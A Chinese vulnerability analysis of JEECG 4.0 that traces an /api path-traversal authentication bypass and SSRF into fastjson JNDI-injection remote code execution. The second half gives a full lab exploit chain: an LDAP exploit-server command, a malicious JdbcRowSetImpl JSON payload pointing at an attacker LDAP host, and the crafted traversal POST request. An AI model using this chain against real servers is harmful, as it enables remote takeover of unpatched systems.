漏洞描述
JEECG(J2EE Code Generation) 是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于 /api 接口鉴权时未过滤路径遍历,攻击者可构造包含 ../ 的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest 接口进行 jndi 注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。
解决建议
官方已停止维护,建议利用安全组设置其仅对可信地址开放。
项目下载地址
漏洞分析
Controller 层
这里关注一个处理方法 testInterface
关注下代码
JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
serverUrl,requestBody 均为我们可控的变量,这里已经照成SSRF漏洞了。
需要注意的是这次的请求居然被JSONObject类型所接受,这个值得我们注意。
追入sendpost方法,查看细节
public static JSONObject sendPost(String url, String param)throws Exception {
JSONObject jsonObject = null;
PrintWriter out = null;
BufferedReader in = null;
String result = "";
try {
URL realUrl = new URL(url);
// 打开和URL之间的连接
URLConnection conn = realUrl.openConnection();
// 设置通用的请求属性
conn.setRequestProperty("accept", "*/*");
conn.setRequestProperty("connection", "Keep-Alive");
conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");
// 发送POST请求必须设置如下两行
conn.setDoOutput(true);
conn.setDoInput(true);
//设置网络超时
conn.setConnectTimeout(6000);
conn.setReadTimeout(6000);
// 获取URLConnection对象对应的输出流
out = new PrintWriter(conn.getOutputStream());
// 发送请求参数
out.print(param);
// flush输出流的缓冲
out.flush();
// 定义BufferedReader输入流来读取URL的响应
in = new BufferedReader( new InputStreamReader(conn.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
result += line;
}
} catch (Exception e) {
e.printStackTrace();
}
//使用finally块来关闭输出流、输入流
finally{
try{
if(out!=null){
out.close();
}
if(in!=null){
in.close();
}
}catch(IOException ex){
ex.printStackTrace();
}
}
jsonObject = JSONObject.parseObject(result);
return jsonObject;
}
}
经过一系列处理之后得到result,之后交给JSONObject 试图将返回json转成java对象。
JSONObject是package com.alibaba.fastjson 包下的类,fastjson历史上出现了较为严重的漏洞。
查看本次项目fastjson的版本 1.1.9
版本略微老,毕竟这个项目是19年发布,漏洞是22年发布。从时间上讲就是降维打击了。
1.2.83 之前的包 com.alibaba:fastjson 很容易通过绕过默认的 autoType 关闭限制而受到不受信任数据反序列化的影响,这在某些情况下是可能的。利用此漏洞可以攻击远程服务器
那么如何利用此漏洞呢,关注我之前分析的一篇文章JAVA安全之Fastjson反序列化漏洞原理及复现_fastjson反序列化漏洞修复方案-CSDN博客
这里介绍利用方法
dnslog测试
先在本地开一个80服务放入恶意json数据,让jeecg来请求,
ok, 预料之中 ,接下来尝试rce了
jndi rce测试
注本次环境 jdk 8-131+ tomcat8 有些组合不成功
搭建ldap服务器&准备恶意类
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"
本地开启一个8000提供json
python -m http.server
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.66.64.89:1389/8orsiq",
"autoCommit":true
}
}
burp发包
POST /api/../jeecgFormDemoController.do?interfaceTest HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
serverUrl=http://127.0.0.1:8000/date.txt&requestBody=1&requestMethod=GET
(实际测试 只能是GET)
总体来说此次rce 执行了这几步
1,发送恶意的payload
2,jeecg接收到这个含有url的payload,便会请求这个url且试图将接收到的json数据转为java对象 。这里就让它请求我们的json数据date.txt
3, jeecg在将json数据转为数据的期间发现数据中有@type字段,得知用户想自定义对象且类是JdbcRowSetImpl,于是将dataSourceName属性设置为ldap://10.66.64.89:1389/8orsiq,因为这里有ldap协议,所以JdbcRowSetImpl对象会自动解析它,于是就来到了第三步,请求ldap
4,ldap是我们构造的恶意服务器,当有服务来请求,我们返回 redirecting to http://10.66.64.89:8180/ExecTemplateJDK8.class 给jeecg,让jeecg去加载这类,jeecg为了获取对象于是便加载了这个类,殊不知这个类被我们加入了恶意代码,于是来到最后一步
5,恶意被加载,我们的代码得以执行 计算器弹出